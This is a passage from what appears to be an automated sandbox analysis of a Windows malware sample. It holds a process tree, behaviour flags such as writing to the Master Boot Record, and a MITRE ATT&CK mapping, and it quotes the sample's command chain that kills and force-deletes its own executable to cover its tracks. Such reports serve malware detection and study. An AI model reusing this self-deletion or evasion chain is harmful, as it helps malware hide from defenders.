    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4344
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{828a1194-09c7-4f03-a199-97504fdc93d6}
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3616
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{fa47b895-fc03-44b1-9f08-f6b9a9d9b142}
      4⤵
      PID:4980
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{809ea0e4-db82-4729-9d92-3b5887a30bff}
      4⤵
      PID:2964
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{fa3a12f4-e4f4-4fa1-b536-829dc7a4c426}
      4⤵
      PID:2268
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{b1b63065-0e19-4785-94f2-25c3e0f70898}
      4⤵
      PID:5732
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\obf.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\obf.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\obf.bat.exe" & exit
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:5708
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:5164
    - - C:\Windows\system32\PING.EXE
        
        PING localhost -n 8
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6780
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\obf.bat.exe"
        5⤵
        Kills process with taskkill
        
        PID:6968
    - - C:\Windows\system32\attrib.exe
        
        ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\obf.bat.exe"
        5⤵
        Views/modifies file attributes
        
        PID:7040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3320

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3512

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3672

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3916

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4628

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4216

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3432

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:3424

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:2764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:4192

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:4788

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2348

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:1640

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe e5db052a0fab71d1ecd01b2fc40ce067 w/KD7a3oD06xbONaTAqQ8w.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:3712
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:5280

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
- Drops file in Windows directory
PID:5512

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:5816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:5760

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:5592

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:1616

C:\Windows\system32\UsoClient.exe
C:\Windows\system32\usoclient.exe
1⤵
PID:1432

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:6276
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 560 -p 5408 -ip 5408
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:6356
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 520 -p 6456 -ip 6456
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:5160
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 6984 -ip 6984
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - System Location Discovery: System Language Discovery
  PID:7108

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery